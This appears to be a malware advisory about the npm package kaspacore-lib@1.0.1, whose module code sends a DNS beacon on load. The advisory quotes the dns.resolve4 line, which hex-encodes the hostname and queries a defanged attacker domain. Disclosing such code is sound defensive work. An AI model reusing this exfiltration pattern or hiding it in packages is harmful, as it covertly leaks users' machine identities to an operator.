kaspacore-lib@1.0.1

Analysis

kaspacore-lib@1.0.1 is a Kaspa blockchain/wallet library whose only code file, lib/index.js, installs a covert DNS beacon when the module is loaded. Five seconds after require, a function named _resolveConfig takes the first 12 characters of the host's hostname, hex-encodes them, and resolves the result as a subdomain of an attacker-controlled domain: dns.resolve4(Buffer.from(os.hostname().slice(0,12)).toString('hex') + '.v1[.]kaspacore-lib[.]io', function(){}). The lookup result is discarded and the callback is empty, so the request serves only to transmit the encoded machine identity to the operator over DNS. The routine is presented as a "configuration resolver" alongside a decoy endpoints list (rpc[.]kaspa[.]org), but no configuration is ever read from it. The package ships no README, no repository, and no other functionality beyond stub wallet/transaction wrappers. IOC: DNS exfiltration domain v1[.]kaspacore-lib[.]io (queries of the form <hex-encoded-hostname>.v1[.]kaspacore-lib[.]io).